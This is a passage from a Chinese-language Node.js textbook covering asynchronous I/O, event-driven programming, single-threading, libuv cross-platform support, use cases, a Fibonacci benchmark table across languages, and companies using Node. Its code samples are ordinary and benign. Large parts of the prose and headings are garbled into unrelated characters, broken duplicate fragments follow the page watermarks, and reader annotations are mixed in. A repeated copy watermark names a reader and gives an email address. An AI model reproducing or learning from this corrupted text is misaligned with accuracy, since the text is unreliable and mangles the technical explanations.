发ࡘဗ࿃Ꮺ言，HTML5ಕэ统一的过程是相对ᎀਤ的。JavaScript作为一门图灵߸ܫ的语言，᫁

ˣ以౎ԁᬌ҃在เ᜾٧的෡኷中ᤁᛠ，它的能ҦԨ决于เ᜾٧中ᫍࡎଡΘ的ஂ૆有多࠵。 

 

图1-1 Chromeเ᜾٧֖Node的组͇ౝ੆ 

ᬓ了HTML、WebKit֖௬Ӵ这些UI相关技术没有ஂ૆外，Node的ፆౝ与ChromeӠ分相ͪ。

它们都是۲于事͇驱动的ऩ൥౵ౝ，เ᜾٧᤯过事͇驱动౎服务ႌ᭦上的̓̈，Node᤯过事͇驱

动౎服务I/O，这个ጹᓫ࠱在ኃ3ብ中សᤗ。在Node中，JavaScript可以ᬣ心੝ൗڠ᝺问本ڠ஠͇，

可以ୃतWebSocket服务٧端，可以ᤋ接数૵ं，可以ݟWeb Workers一样ဓᣀ多ᤈ程。ݟ今，

JavaScript可以ᤁᛠ在不Վ的ڠழ，不в继续ᬌ҃在เ᜾٧中与CSS样यᛪ、DOM树੩̓᥊。ݟ

౦HTTPӨᝫಖ是පࣰ᭦，Node就是เ᜾٧在ӨᝫಖԲ一᣷的χॕ。Node不ူܪUI，ͭ用与เ᜾

٧相Վ的机֖҃ԓူᤁᛠ。Node੩ᆠ了过ԜJavaScript只能在เ᜾٧中ᤁᛠ的ࡌ᭦。前后端编程

环境统一，可以大大ᬋͯ前后端ᣀ૰੝ᭉ要的上下஠̓૰̼͈。 

对于前端工程࣍Ꮺ言，自己੝熟悉的JavaScriptݟ今ቤཨ可以在Բ一个ڠழஉѢऩॐ，不ៀФ

他ԓ因，仅仅因为好݈，就Ϙ३Ԝ关ซ֖探ቂ它。 

ᬣᅋNode的ѢဗὋС̅ JavaScript的ਆ៵总௦无ᬌ的。ᄫґὋ社区ࣂፂѢဗ

node-webkitᤇ样的ᮉᄫὋᤇ˓ᮉᄫ2012ࣱڙ的෫JS͗ᝫʼᯪ൒̭ፀፋ˿М͔。ݟՎʼ文

ଡԢ的С̅เ᜾٧的͕Ҹ֖ᬌ҃Ὃڙnode-webkitᮉᄫ中Ὃ߱࠱Node中的事͇९ဖ֖

WebKit的事͇९ဖᚷՋڙʶᡐὋ௄Ժ̾᤯᣾̙߱ԩHTMLǋCSSࣛ౎的UIౝतὋ˶ᑞ᤯

᣾߱᝺᫇ఴڠᠪຸὋ࠱ˏᏧ的͕ҸஞՋҁʶᡐ。ಷ᭦ःၸርࣿ的धԦԺ̾߸К᤯᣾

HTMLǋCSSǋJavaScript߸੆。 
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1.4� Node ⱘ⡍⚍ 

作为后端JavaScript的ᤁᛠࣰԻ，Nodeγ႐了前端เ᜾٧JavaScript中ᥦ些熟悉的接ԯ，没有

இ写语言本ᢵ的͉ʹྱ性，Ιே۲于作用۪֖ԓᩖۋ，区Ѿ在于它࠱前端中广คᤁ用的ধ想᣺ሧ

到了服务٧端。下᭦我们౎ᄹᄹNode相ᣖФ他语言的一些ྱཁ。 

1.4.1� ᓖℹI/O 

关于ऩ൥I/O，Փ前端工程࣍解᧕起౎੊᝴会ࠓ௛一些，因为发起Ajaxុ用对于前端工程࣍

Ꮺ言是в熟悉不过的场景了。下᭦的̼ᆉ用于发起一个Ajax请යὙ 

$.post('/url', {title: 'ศ入റ出Node.js'}, function (data) { 
  console.log('收ڟ响应'); 
}); 
console.log('发ໃAjax结ຐ'); 

熟悉ऩ൥的用ਖ਼ॸཨᅻ᥊，þ收到ֽ应ÿ是在þ发ᤞAjaxፆోÿ之后ᣤѢ的。在ុ用$.post()

后，后续̼ᆉ是ᜁ立Ԁ੯ᛠ的，Ꮺþ收到ֽ应ÿ的੯ᛠ时ᫍ是不ᜁᮔయ的。我们只ᅻ᥊它࠱在这

个ऩ൥请යፆో后੯ᛠ，ͭ 并不ᅻ᥊Хͳ的时ᫍཁ。ऩ൥ុ用中对于ፆ౦Ϙ的૬ᖌ是ቿՋþDon’t 

call me, I will call youÿ的ԓѶ的，这也是ซ᧗ፆ౦，不关心过程的一ሗᛪဗ。图1-2是一个经Ц

的Ajaxុ用。 

 

图1-2 经Ц的Ajaxុ用 

在Node中，ऩ൥I/O也很࣡᜸。以读Ԩ஠͇为Β，我们可以ᄹ到它与前端Ajaxុ用的ழय是

极Фዜͪ的Ὑ 
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var fs = require('fs'); 
 
fs.readFile('/path', function (err, file) { 
  console.log('读ൽ文件ྜ成') 
}); 
console.log('发ഐ读ൽ文件'); 

这᧖的þ发起读Ԩ஠͇ÿ是在þ读Ԩ஠͇߸੆ÿ之前ᣤѢ的。Վ样，þ读Ԩ஠͇߸੆ÿ的੯

ᛠ也Ԩ决于读Ԩ஠͇的ऩ൥ុ用ʹ时ፆో。图1-3是一个经Ц的ऩ൥ុ用。 

 

图1-3 经Ц的ऩ൥ុ用 

在Node中，绝大多数的ୱ作都以ऩ൥的ழयᤈᛠុ用。Ryan Dahlଅᬓʹᬱ，在ऄࡎౝत了

很多ऩ൥I/O的API，从஠͇读Ԩ到网ፎ请යኍ，ڨ是ݟ൤。这样的਒˦在于，在Node中，我们可

以从语言ࡎ᭦很自ཨڠᤈᛠ并ᛠI/Oୱ作。ඇ个ុ用之ᫍ௃ᮋኍय़之前的I/Oុ用ፆో。在编程ഴ

 。上可以极大ଡӣ஌ညۋ

下᭦的ˏ个஠͇读Ԩ͉务的Ᏹ时Ԩ决于最ਤ的ᥦ个஠͇读Ԩ的Ᏹ时Ὑ 

fs.readFile('/path1', function (err, file) { 
  console.log('读ൽ文件1ྜ成'); 
}); 
fs.readFile('/path2', function (err, file) { 
  console.log('读ൽ文件2ྜ成'); 
}); 

Ꮺ对于Վ൥I/OᏪ言，它们的Ᏹ时是ˏ个͉务的Ᏹ时之֖。这᧖ऩ൥ࣛ౎的优势是௬Ꮺ௛

᜸的。 

关于ऩ൥I/O是ݟʹଡӣ஌ည的ԢФ本ᢵ的机֖҃实ဗ，我们࠱在ኃ3ብ中សᤗ。 
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1.4.2� џӊϢಲ䇗ߑ᭄ 

ᬣ着Web 2.0时̼的到౎，JavaScript在前端ઝ͉了ఝ多的ᐋ᠉，事͇也३到了广ค的应用。

Node不像Rhinoᥦ样ԩJava的ॕֽ很大，Ꮺ是࠱前端เ᜾٧中应用广ค且੆熟的事͇ल入后端，

ᦠՋऩ൥I/O，࠱事͇ཁ఑᭚ፋˉ务᤾ᣣ。 

下᭦的Βࡘߔᇧ的是Ajaxऩ൥ଡ̓的服务٧端ူܪ过程。Node创त一个Web服务٧，并Νե

8080端ԯ。对于服务٧，我们为Фፄ定了request事͇，对于请ය对៵，我们为Фፄ定了data事

͇֖end事͇Ὑ 

var http = require('http'); 
var querystring = require('querystring'); 
 
// ኎ད服务器的request事件 
http.createServer(function (req, res) { 
  var postData = ''; 
  req.setEncoding('utf8'); 
  // ኎ད请求的data事件 
  req.on('data', function (trunk) { 
    postData += trunk; 
  }); 
  // ኎ད请求的end事件 
  req.on('end', function () { 
    res.end(postData); 
  }); 
}).listen(8080); 
console.log('服务器启动ྜ成'); 

相应ڠ，我们在前端为Ajax请යፄ定了success事͇，在发Ѣ请ය后，只ᭉ关心请ය੆ҩ时

੯ᛠ相应的ˉ务᤾ᣣԀ可，相关̼ᆉݟ下Ὑ 

$.ajax({ 
  'url': '/url', 
  'method': 'POST', 
  'data': {}, 
  'success': function (data) { 
    // success事件 
  } 
}); 

相ඊ之下，௃᝶在前端还是后端，事͇都是࣡用的。对于Ф他语言౎ឬ，这ሗξ拾ᄊ是

JavaScript的熟悉ਕ᜿是۲本不会Ѣဗ的。 

事͇的编程ழयХ有ᣏ量ጞ、ౚᏸՋ、只关ซ事务ཁኍ优势，ͭ 是在多个ऩ൥͉务的场景下，

事͇与事͇之ᫍՉ自࿗立，ݟʹӨ作是一个问题。 

从前᭦可以ᄹ到，ុٿѥ数௃ܪ不在。这是因为在JavaScript中，我们࠱ѥ数作为ኃ一ኍМඞ

౎对य़，可以࠱ѥ数作为对៵͛ᤫፋழก作为实ԟᤈᛠុ用。 

与Ф他的Web后端编程语言相ඊ，Nodeᬓ了ऩ൥֖事͇外，ុٿѥ数是一大ྱᓣ。ጪ᜹下౎，

ͭ。数૵的ழयٿѥ数也是最好的接ԩऩ൥ុ用ᤄុٿ 是这ሗ编程ழय对于很多习਄Վ൥ধᡸ编

程的人౎ឬ，也᝴是Ӡ分不习਄的。̼ᆉ的编写ᮊ序与੯ᛠᮊ序并௃关系，这对他们可能ᤴ੆阅

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权
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读上的ᬩᆽ。在ึ程ଌ҃ழ᭦，因为ቇଢ了ऩ൥ழก֖ុٿѥ数，与࣡᜺的Վ൥ழय相ඊ，Ԫ३

不ᥦ˥一目了ཨ了。 

在ᣀԪ为ऩ൥编程ধ፤后，᤯过对ˉ务的Ѳ分֖对事͇的ଡགྷ，在ึ程ଌ҃ழ᭦ူܪˉ务的

复杂ऎ与Վ൥ழय实ᬄ上是一ᒰ的。 

关于ึ程ଌ֖҃事͇Ө作的ழก֖技ࢻ，我们࠱在ኃ4ብ中ᤈ一൥探ᝦ。 

1.4.3� ऩ㒓⿟ 

Nodeγ૆了JavaScript在เ᜾٧中Ӭ线程的ྱཁ。Ꮺ且在Node中，JavaScript与Ф余线程是௃

กР享͉ʹ࿃খ的。Ӭ线程的最大好ܪ是不用像多线程编程ᥦ样ܪܪ在਒࿃খ的Վ൥问题，这᧖

没有൪ᩙ的ߚ在，也没有线程上下஠̓૰੝ࣛ౎的性能上的开ᩘ。 

Վ样，Ӭ线程也有它自ᢵ的िཁ，这些िཁ是学习Node的过程中ॸᮋ要᭦对的。ሤ极᭦对这

些िཁ，可以享ԩ到Nodeࣛ౎的好ܪ，也能ᥗБ໷在的问题，使Ф३以高஌ѽ用。Ӭ线程的िཁ

Хͳ有以下3ழ᭦。 

� ௃กѽ用多ನCPU。 

� ᩱឧ会ल起ஞ个应用ᤝѢ，应用的ϣܤ性Ϙ३Ꮵᰍ。 

� 大量᝟ኪӳ用CPU࠭ᒰ௃ก继续ុ用ऩ൥I/O。 

像เ᜾٧中JavaScript与UIР用一个线程一样，JavaScript᫁时ᫍ੯ᛠ会࠭ᒰUI的ມ౿ֽ֖应

ᜁ中ற。在Node中，᫁时ᫍ的CPUӳ用也会࠭ᒰ后续的ऩ൥I/O发不Ѣុ用，已߸੆的ऩ൥I/O的

 。ѥ数也会३不到Ԣ时੯ᛠុٿ

最௉解决这ሗ大᝟ኪ量问题的ழ಴是GoogleМՂ开发的Gears。它ը用一个߸К࿗立的ᤈ程，

᝟ኪ࠱ۋ౎。这个ഴٿፆ౦͛ᤫ࠱ᭉ要᝟ኪ的程序发ᤞፋ这个ᤈ程，在ፆ౦३Ѣ后，᤯过事͇࠱

量分发到Ф他ᤈ程上，以൤౎ᬋͯᤁኪᤴ੆᫽܊的几ည。后౎，HTML5定҃了Web Workers的ಕ

э，Googleஉप了Gears，КҦஂ૆Web Workers。Web Workers能ܴ创त工作线程౎ᤈᛠ᝟ኪ，以

解决JavaScript大᝟ኪ᫽܊UIມ౿的问题。工作线程为了不᫽܊˞线程，᤯过๖ো͛ᤫ的ழय౎

͛ᤫᤁᛠፆ౦，这也使३工作线程不能᝺问到˞线程中的UI。 

Node᧓用了与Web Workers相Վ的ধᡸ౎解决Ӭ线程中大᝟ኪ量的问题Ὑchild_process。 

性֖௃กѽ用多ನCPUழ᭦的问ܤ应对Ӭ线程在ϣڠࠓᤈ程的Ѣဗ，਒։着Node可以从ߔ

题。᤯过࠱᝟ኪ分发到Չ个ߔᤈ程，可以࠱大量᝟ኪ分解૿，ཨ后в᤯过ᤈ程之ᫍ的事͇๖ো౎

͛ᤫፆ౦，这可以很好ڠγ૆应用ഴۋ的ኤӬ֖ͯΙᠺ。᤯过Master-Worker的管ူழय，也可以

很好ڠ管ူՉ个工作ᤈ程，以᣹到ఝ高的ϣܤ性。 

关于ݟʹ᤯过ߔᤈ程౎Ќ分ѽ用ᆵ͇ᠪ源֖ଡӣ应用的ϣܤ性，这是一个Ϙ३探ቂ的ព题。

ঞ样才能使我们௄享ԩ到௃উ௃ᘼ的Ӭ线程编程，Ԡ高஌ѽ用ᠪ源փ὞请૚൥到ኃ9ብ。 

1.4.4� 䎼ᑇৄ 

起初，Node只可以在LinuxࣰԻ上ᤁᛠ。ݟ౦想在WindowsࣰԻ上学习֖使用Node，Ѷॸᮋ

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

且在Node中,JavaScript与余线程是 享的。线程的最大好是不用像多线程编程样在的问题,这 没有的在,也没有线程上下的性能上的开。
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注释框
node.js单线程，是指node.js并没有给我们创建一个线程的能力，所有我们自己写的代码都是单线程执行的，在同一时间内，只能执行我们写的一句代码。但宿主环境node.js并不是单线程的，它会维护一个执行队列，循环检测，调度JavaScript线程来执行。因此单线程执行和并发操作并不冲突。

15518
文本框
单线程指的是主线程是“单线程”的，所有阻塞的部分交给一个线程池处理，然后这个主线程通过一个队列跟线程池协作，于是对我们写到的js代码部分，不再关心线程问题，代码也主要由一堆callback回调构成，然后主线程在不停的循环过程中，适时调用这些代码。

15518
文本框
除了你的代码是单线程，其余都是多线程（线程池），nodejs本身是事件驱动，一个io事件完成会被放到一个事件队列中，主线程负责轮训这个队列，然后执行相应的回调函数。
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᤯过Cygwin੊者MinGW。ᬣ着Node的发ࡘ，ॱ ᣃซ਒到了它的ߚ在，并અ入了一个ڃ᫲ࣞүNode

实ဗWindowsࣰԻ的Щࠓ，在v0.6.0ྟ本发࣊时，Node已经能ܴᄯ接在WindowsࣰԻ上ᤁᛠ了。

图1-4是Node۲于libuv实ဗᡴࣰԻ的౵ౝᇧ਒图。 

 

图1-4 Node۲于libuv实ဗᡴࣰԻ的౵ౝᇧ਒图 

ЩࠓWindows֖*nixࣰԻ˞要३ᄝ于Node在౵ౝࡎ᭦的இ动，它在ୱ作系统与Node上ࡎഴڰ

系统之ᫍౝत了一ࣰࡎԻࡎ౵ౝ，Ԁlibuv。目前，libuv已经੆为᝴多系统实ဗᡴࣰԻ的۲ᆨ组͇。

关于libuv的᝹᝟，我们࠱在ኃ3ብ中̭ፀ。 

᤯过ᓡ好的౵ౝ，Node的ኃʻழC++ഴڰ也可以ύүlibuv实ဗᡴࣰԻ。目前，ᬓ了没有γ૆

ఝ新的C++ഴڰ外，大部分C++ഴڰ都能实ဗᡴࣰԻ的Щࠓ。 

1.5� Node ⱘᑨ⫼എ᱃ 
在ᤈᛠ技术ᤤۋ之前，ᭉ要了解一ᮉ新技术Хͳ᤟Ջ̣˥样的场景，උቤՋ᤟的技术用在Ջ

᤟的场景可以起到਒想不到的஌౦。关于Node，探ᝦ३ᣖ多的˞要有I/O֖ۋᬶࠚCPUۋᬶࠚ。 

1.5.1� I/Oᆚ䲚ൟ 

在Node的推广过程中，௃数次有人问起Node的应用场景是̣˥。ݟ౦࠱੝有的脚本语言ૅ

到一ܪ౎᝿ѻ，ᥦ˥从Ӭ线程的ᝇऎ౎ឬ，NodeူܪI/O的能Ҧ是Ϙ३ቡ起ટૈሥᡁ的。᤯࣡，

ឬNode୰᫁I/Oۋᬶࠚ的应用场景۲本上是没人反对的。Node᭦Փ网ፎ且୰᫁并ᛠI/O，能ܴ有஌

 。组织起ఝ多的ᆵ͇ᠪ源，从ᏪଡΘఝ多好的服务ڠ

I/Oᬶࠚ的优势˞要在于Nodeѽ用事͇९环的ူܪ能Ҧ，Ꮺ不是ը动ඇ一个线程为ඇ一个请

ය服务，ᠪ源ӳ用极࠵。 

1.5.2� ᰃ৺ϡ᪙䭓CPUᆚ䲚ൟϮࡵ 

૰一个ᝇऎ，在CPUᬶࠚ的应用场景中，Node是否能ᑇ͉փ὞实ᬄ上，V8的੯ᛠ஌ည是Ӡ

分高的。Ӭ以੯ᛠ஌ည౎做᝿ѻ，V8的੯ᛠ஌ည是අकᎵႠ的。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

NodeI/O的能是起的。, NodeI/O的应用场景本上是没人反对的。Node网且并I/O,能有 组织起多的源,从多好的服务

优势

用事环的能
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我们࠱相Վ的ணจᥦݎ数Ѵ᝟ኪ（F0=0，F1=1，Fn=F(n�1)+F(n�2)(nĹ2)）分Ѿ用Չሗ脚本语言

写了ኪก实ဗ，并ᤈᛠ了n = 40的᝟ኪ，以ඊᣖ性能。这个测试˞要ϟ᧗CPUಖୱ作，ᛪ1-1是Ф

中一次ᤁኪᏱ时的ଅᛠ。在这些脚本语言中（Ф中C֖Go语言是᭡খ语言，用于ԟᏥ），Node是

ᡛܴ高஌的，它优ሑ的ᤁኪ能Ҧ˞要౎自V8的深ऎ性能优Ӑ。 

㸼1-1� 䅵ㅫ᭤⊶䙷༥᭄߫ⱘ㗫ᯊᥦ㸠 

䇁� � 㿔 ⫼᠋ᗕᯊ䯈 ᥦ� � ৡ ⠜� � ᴀ 
C with -O2 0m0.202s #0 i686-apple-darwin11-llvm-gcc-4.2 (GCC) 4.2.1  

(Based on Apple Inc. build 5658) (LLVM build 2336.11.00) 

Node（C++ഴڰ） 0m1.001s #1 v0.8.8, gcc -O2 

Java 0m1.305s #2 Java(TM) SE Runtime Environment (build 1.6.0_35-b10-428-11M3811) 
Java HotSpot(TM) 64-Bit Server VM (build 20.10-b01-428, mixed mode) 

Go 0m1.667s #3 Go version go1.0.2 

Scala 0m1.808s #4 Scala code runner version 2.9.2 -- Copyright 2002-2011, LAMP/EPFL 

LuaJIT 0m2.579s #5 LuaJIT 2.0.0-beta10 -- Copyright (C) 2005-2012 Mike Pall. 

Node 0m2.872s #6 v0.8.8 

Ruby 2.0.0-p0 0m27.777s #7 ruby 2.0.0p0 (2013-02-24 revision 39474) [x86_64-darwin12.2.0] 

pypy 0m30.010s #8 Python 2.7.2 (341e1e3821ff, Jun 07 2012, 15:42:54) [PyPy 1.9.0 with 
GCC 4.2.1] 

Ruby 1.9.x 0m37.404s #9 ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-darwin12.1.0] 

Lua 0m40.709s #10 Lua 5.1.4 Copyright (C) 1994-2008 Lua.org, PUC-Rio 

Jython 0m53.699s #11 Jython 2.5.2 

PHP 1m17.728s #12 PHP 5.4.6 (cli) (built: Sep 8 2012 23:49:53)  

Python 1m17.979s #13 Python 2.7.2 

Perl 2m41.259s #14 This is perl 5, version 12, subversion 4 (v5.12.4) built for darwin-thread- 
multi-2level 

Ruby 1.8.x 3m35.135s #15 ruby 1.8.7 (2012-02-08 patchlevel 358) [universal-darwin12.0] 

这样的测试ፆ౦ࡉ管不能߸К反௡ѢՉ个语言的性能优ҭ，ͭ 已经可以ᛪ௙Node在性能上不

ί的ᛪဗ。从Բ一个ᝇऎ౎ឬ，这可以ᛪ௙CPUۋᬶࠚ应用Ф实并不可ঢ。CPUۋᬶࠚ应用ፋNode

ࣛ౎的ૌੌ˞要是Ὑ由于JavaScriptӬ线程的ԓ因，ݟ౦有᫁时ᫍᤁᛠ的᝟ኪ（ඊݟ大९环），࠱

会࠭ᒰCPU时ᫍྞ不能᧕உ，使३后续I/O௃ก发起。ͭ是᤟ॆុஞ֖分解大ۋᤁኪ͉务为多个

小͉务，使३ᤁኪ能ܴ᤟时᧕உ，不᫽܊I/Oុ用的发起，这样௄可Վ时享ԩ到并ᛠऩ൥I/O的好

 。Ԡ能Ќ分ѽ用CPU，ܪ

关于CPUۋᬶࠚ应用，Node的ऩ൥I/O已经解决了在Ӭ线程上CPU与I/O之ᫍ᫽܊௃ก᧗Ԯ

ѽ用的问题，I/O᫽܊ᤴ੆的性能ํ᠟ᤉඊCPU的ॕֽ小。对于᫁时ᫍᤁᛠ的᝟ኪ，ݟ౦它的

Ᏹ时ᡓ过௾᤯᫽܊I/O的Ᏹ时，ᥦ˥应用场景就ᭉ要᧗新᝿ͤ，因为这ዜ᝟ኪඊ᫽܊I/O还ॕֽ

஌ည，甚至ឬ就是一个ጥ᝟ኪ的场景，಩本没有I/O。൤ዜ应用场景੊᝴应ॆ᧓用多线程的ழ

यᤈᛠ᝟ኪ。Nodeᙉཨ没有ଡΘ多线程用于᝟ኪஂ૆，ͭ是还是有以下ˏ个ழय౎Ќ分ѽ 

用CPU。 

� Node可以᤯过编写C/C++ੰࡘ的ழयఝ高஌ڠѽ用CPU，࠱一些V8不能做到性能极ᒰ的

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

由于JavaScript线程的因,有时的(大环), 会CPU时不能,使后续I/O发起

分解大务为多个 小务,使能时,不I/O用的发起,这样可时享到并I/O的好 ,能分用CPU。

I/O
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的ழय实ဗணจᥦࡘੰ++ழ᤯过C/C++౎实ဗ。由上᭦的测试ፆ౦可以ᄹ到，᤯过C/Cڠ

 。数Ѵ᝟ኪ，ᤳऎඊJava还ঋݎ

ᤈ程的ߔ后还᜿३不ܴ，ᥦ˥᤯过ࡘੰ++౦Ӭ线程的Node不能໗ᡛᭉය，甚至用了C/Cݟ �

ழय，࠱一部分Nodeᤈ程ॆ做࣡᯾服务ᤈ程用于᝟ኪ，ཨ后ѽ用ᤈ程ᫍ的๖ো౎͛ᤫፆ

౦，࠱᝟ኪ与I/O分ሎ，这样还能Ќ分ѽ用多CPU。 

CPUᬶࠚ不可ঢ，ݟʹՋူុऎ是᝻቎。 

1.5.3� Ϣ䘫⬭㋏㒳੠ᑇ݅໘ 

有人会ឬὙþJavaScript一统前后端了，࠱౎会不会࣯૿Ф他的语言὞ÿ言语中Ќ໗了ӿ机ਕ。 

在Web端，过Ԝ大多都是Վ൥的ழय编写的程序，这ሗ˘ᛠុ用下ࡎ应用数૵的过程中Ќ஭

着˘ᛠ的ኍय़时ᫍ，ݟ౦᧓用多线程౎解决这ሗ˘ᛠኍय़，Ԡ੊多੊ڠ࠵௬३小题大作。在Node

中，语言ࡎ᭦Ԁ可天ཨ并ᛠ的ྱ性在这ሗ场景中௬३Ӡ分有஌。对于已有的ሶ定系统，并᭣਒։

着我们要ઊप૿。 

LinkedIn在他们的ሧ动ྟ网ቢ上的实践᭣࣡Цڠۋឬ௙了这个问题。ே有的系统Х有᭣࣡ሶ

定的数૵ᣤѢ，૆续为͛统网ቢ服务，Վ时为ሧ动ྟଡΘ数૵源，Node࠱ឞ数૵源ॆ做数૵接ԯ，

发૘ऩ൥并ᛠ的优势，Ꮺ不用关心它ᐿ后是用̣˥语言实ဗ的。 

这ழ᭦，国内的ᭂီ᠈经也有很好的实践。ᭂီ᠈经是从ே有的Javaᮉ目中分ሎѢ一个ߔᮉ

目，在这个ߔᮉ目中，没有继续᧓用Java/JSPᏪ是᧓用Node౎߸੆Web端的开发，使३前端工程

开发，ᥗБ了Javaཐဴ的ᛪ᣹὚Բ一ழ᭦，Ԡѽ用Javaڠ在HTTPӨᝫಖ的ˏ端能ܴ高஌灵活࣍

作为后端接ԯ֖中͇ᫍ，使ФХ有ᓡ好的ሶ定性。ˏ者̈相ፆՋ，Ԩ᫁补ᆀ。 

1.5.4�  ⫼Ꮧᓣᑨߚ

ᬀ᧖ࣄࣄ的数૵ࣰԻ对Node的分࣊य应用ኪ是一个Цۋ的Βߔ。分࣊य应用਒։着对可ͨ᎕

性的要ය᭣࣡高。数૵ࣰԻ᤯࣡要在一个数૵ंᬶᏅ中Ԝࠬ੼ᭉ要的数૵。ᬀ ᧖ࣄࣄ开发了中ᫍ

ಉលុ用Ιே是᧪对ӬषᛪᤈᛠSQLಉ，࠰数૵ंᬶᏅ做了Ѳ分֖௡࠱，应用NodeFox、ITierࡎ

ល，中ᫍࡎ分解ಉលSQL，并ᛠڠԜ多Ի数૵ं中ᖌԨ数૵并Ջ并。NodeFox能实ဗ对多ԻMySQL

数૵ं的ಉល，ݟՎಉល一ԻMySQL一样，ᏪITierఝ强大，ಉល多个数૵ंݟՎಉលӬ个数૵

ं一样，这᧖的多个数૵ं是ૈ不Վ的数૵ं，ݟMySQL੊Ф他的数૵ं。 

这个಴ΒФ实也是高஌ѽ用并ᛠI/O的Βߔ。Node高஌ѽ用并ᛠI/O的过程，也是高஌使用数

૵ं的过程。对于Node，这个ᛠ为只是一次௾᤯的I/O。对于数૵ंᏪ言，ԁ是一次复杂的᝟ኪ，

੝以也是ᤈᏪЌ分Ԍജᆵ͇ᠪ源的过程。 

1.6� Node ⱘՓ⫼㗙 
在ᆀᆀٽ年多的时ᫍ᧖，NodeԪ३᭣࣡བ门，使用者也᭣࣡多。这些使用者对于Node的Չ

自ϋ᧗ཁ也Չ不相Վ。经过ஞူ，˞要有下᭦几ዜ。 

图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权

过程的 ,一部分Node程做服务程用于,后用程的 ,与I/O分,

,这样还能分用多CPU。
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� ࠡৢッ㓪⿟䇁㿔⦃๗㒳一Ǆ这ዜϋ᧗ཁ的̼ᛪ是ᬵᘹ。ᬵᘹ开உ了Cocktailಳ౵，ѽ用自

己深ԑ的前端ෛ๲，࠱YUI3这个前端ಳ౵的能ҦύүNodeढͨ到服务٧端，使३使用者

ୋᑱ了௅࣡工作中一᣷写JavaScript一᣷写PHP੝ࣛ౎的上下஠̓૰᠆ઝ。 

� Nodeᏺᴹⱘ催ᗻ㛑I/O⫼Ѣᅲᯊᑨ⫼ǄVoxer࠱Node应用在实时语ᮂ上。国内ᒐᝬ的朋友

网࠱Node应用在᫁ᤋ接中，以ଡΘ实时ҩ能，ᔈၤ网、ᘲᖕᛣኍМՂ᤯过socket.io实ဗ实

时᤯ᅻ的ҩ能。 

� ᑊ㸠I/OՓᕫՓ⫼㗙ৃҹ᳈催ᬜഄ߽⫼ߚᏗᓣ⦃๗Ǆᬀ᧖֖ࣄࣄeBay是这ழ᭦的Цۋ。ᬀ

᧖ࣄࣄ的NodeFox֖eBay的ql.io都是ύ用Node并ᛠI/O的能Ҧ，ఝ高஌ڠ使用已有的数૵。 

� ᑊ㸠I/Oˈ᳝ᬜ߽⫼〇ᅮ᥹ষᦤछWeb␆ᶧ㛑࡯Ǆᭂီ᠈经֖LinkedIn的ሧ动ྟ网ቢڨ是

这ሗ಴Β，ଡ଼पՎ൥ኍय़य的ᮊ序请ය，大ᐾ᧓用并ᛠI/O，加ᤳ数૵的ᖌԨᤈᏪଡӣWeb

的ມ౿ᤳऎ。 

� ѥ䅵ㅫᑇৄᦤկNodeᬃᣕǄॱᣃ࠱Nodeल入Azure的开发中，ᬀ᧖̇、ᄇऎڨጬጬ在̇

服务٧上ଡΘNode应用托管服务，Joyentఝ是̇᝟ኪ中ଡΘNodeஂ૆的̼ᛪ。这ዜࣰԻ

ᄹ᧗JavaScriptࣛ౎的开发上的优势，以Ԣͯᠪ源ӳ用、高性能的ྱཁ。 

� ␌៣ᓔথ乚ඳǄຣ੅ᮖ۪对实时֖并发有很高的要ය，网௛开源了pomelo实时ಳ౵，可

以应用在ຣ੅֖高实时应用中。 

� Ꮉ݋㉏ᑨ⫼Ǆ过ԜΙᠺJava੊Ф他语言ౝत的前端工Хዜ应用，ጬጬᜁ一些前端工程࣍用

Node᧗写，用前端熟悉的语言为前端ౝत熟悉的工Х。 

1.7� খ㗗䌘⑤ 

本ብԟᏥ的ᠪ源ݟ下Ὑ 

� http://www.infoq.com/cn/articles/what-is-nodejs 

� https://github.com/popular/watched 

� http://groups.google.com/group/nodejs/browse_thread/thread/85f6a3829bc64cb6 

� http://groups.google.com/groups/profile?enc_user=dPo6jggAAACthftLMWCfUq8U6obMz179 

� http://search.npmjs.org/ 

� http://code.google.com/p/v8/ 

� http://cnodejs.org/topic/4f16442ccae1f4aa27001137 

� http://weibo.com/1744667943/eBszJXcEsX1 

� http://stackoverflow.com/questions/5621812/why-is-node-js-named-node-js 

� http://www.theregister.co.uk/2011/03/01/the_rise_and_rise_of_node_dot_js/page4.html 

� http://ued.taobao.com/blog/2011/09/02/what-is-nod/ 

� http://www.infoq.com/cn/news/2012/04/interview-xueqiu-using-nodejs 

� http://teddziuba.com/2011/10/node-js-is-cancer.html 

� http://www.cnblogs.com/fengmk2/archive/2011/12/14/2288147.html 
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῵ഫᴎࠊ 

 
ᯪЎ，我想从ഴڰ为你ޘޘ᥊౎Node。 
JavaScript自ភ生以౎，డ经没有人ૅ它ॆ做一门ᄽൣ的编程语言，认为它不过是一ሗ网页小

脚本Ꮺ已，在Web 1.0时̼，这ሗ脚本语言在网ፎ中˞要有ˏ个作用广为ึ͛，一个是ᛪӬಢᰍ，

Բ一个是网页ྱ஌。Բ一ழ᭦，由于̱Χڠᜁ创ᤴѢ౎，੝以它自ᢵ的Չሗᬝ᫷֖Ꭴཁ也ᜁՉሗ

编程人տ广为មჀ。ᄯ到Web 2.0时̼，前端工程࣍ѽ用它大大ଡӣ了网页上的用ਖ਼ͳᰍ。在这

个过程中，B/S应用ࡘဗѢඊC/S应用优ᡔ的ڠழ。至൤，JavaScript才ᜁ广ค᧗᜼起౎。 
在Web 2.0ึᛠ的过程中，Չሗ前端ं֖ಳ౵ᜁ开发Ѣ౎，它们最初用于ЩࠓՉ个ྟ本的เ

᜾٧，ᬣ后ᬣ着ఝ多的用ਖ਼ᭉය在前端ᜁ实ဗ，JavaScript也从ᛪӬಢᰍ跃᣺到应用开发的ጞѾ上。

在这个过程中，它大ᒰ经Ԋ了工Хዜं、组͇ं、前端ಳ౵、前端应用的Ԫ᣺，ݟ图2-1੝ᇧ。 

 

图2-1 JavaScript的Ԫ᣺ 

经Ԋ了᫁᫁的后天ҰҦ过程，JavaScript不றᜁዜᐐ֖ઙ៵，以ఝ好ڠ组织ˉ务᤾ᣣ。从Բ一

个ᝇऎᏪ言，它也᥊Ѣ了JavaScriptЎ天就Ꭴ˫的一ᮉҩ能Ὑഴڰ。 
